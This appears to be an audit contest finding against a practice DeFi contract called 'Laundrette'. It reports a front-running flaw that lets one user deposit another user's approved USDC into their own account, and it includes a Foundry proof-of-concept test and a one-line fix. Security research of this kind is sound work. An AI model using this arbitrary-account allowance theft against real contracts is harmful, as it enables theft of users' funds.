Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Front-running deposits in `Laundrette::depositTheCrimeMoneyInATM`

Summary

Laundrette::depositTheCrimeMoneyInATMallows front-running attacks where malicious gangmembers can steal funds from honest depositors.

Vulnerability Details

Depositing USDC funds in the protocol is a two-step process:

  • user needs to approve the MoneyShelf contract to spend USDC on its behalf, and then

  • user needs to call Laundrette::depositTheCrimeMoneyInATM to make the actual deposit.

However, the current implementation of Laundrette::depositTheCrimeMoneyInATM allows front-running attacks:
seeing the approval transaction from another user, a malicious gangmember can quickly call the Laundrette::depositTheCrimeMoneyInATM to deposit the victim's funds into their own account, instead of the indended account.

The test below demonstartes that

  • gangmember_1 tries to deposit USDC for himself, but after he approves the MoneyShelf contract,

  • gangmember_2 intervenes and calls Laundrette::depositTheCrimeMoneyInATM with input parameters account = gangmember_1 and to = gangmember_2, essentially stealing funds from gangmember_1.

Proof of Code
function testFrontRunDeposits() public {
// grant Godfathar gangmember status - @note this method hides another error in the code
vm.prank(kernel.admin());
kernel.grantRole(Role.wrap("gangmember"), godFather);
// Godfather adds 2 gangmembers
address gangmember_1 = makeAddr("gangmember_1");
address gangmember_2 = makeAddr("gangmember_2");
vm.startPrank(godFather);
laundrette.addToTheGang(gangmember_1);
laundrette.addToTheGang(gangmember_2);
vm.stopPrank();
// Godfather sends bonus in USDC to gangmember_1
uint256 bonus = 1e12;
vm.prank(godFather);
usdc.transfer(gangmember_1, bonus);
// gandmember_1 prepares to deposit
vm.prank(gangmember_1);
usdc.approve(address(moneyShelf), bonus);
// gangmember_2 sees the approval, frontruns gangmember_1 and deposits the bonus on his balance
vm.prank(gangmember_2);
laundrette.depositTheCrimeMoneyInATM(gangmember_1, gangmember_2, bonus);
// now gangmember_2 has the bonus
assertEq(moneyShelf.getAccountAmount(gangmember_1), 0);
assertEq(moneyShelf.getAccountAmount(gangmember_2), bonus);
}

Impact

Malicious gangmembers can steal funds from honest depositors.

Tools Used

Manual review, Foundry.

Recommendations

Ensure that no front-running is possible by modifying the code as follows:

- function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
+ function depositTheCrimeMoneyInATM(address to, uint256 amount) external {
moneyShelf.depositUSDC(msg.sender, to, amount);
}
Updates

Lead Judging Commences

n0kto Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Arbitrary account deposit, steal approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.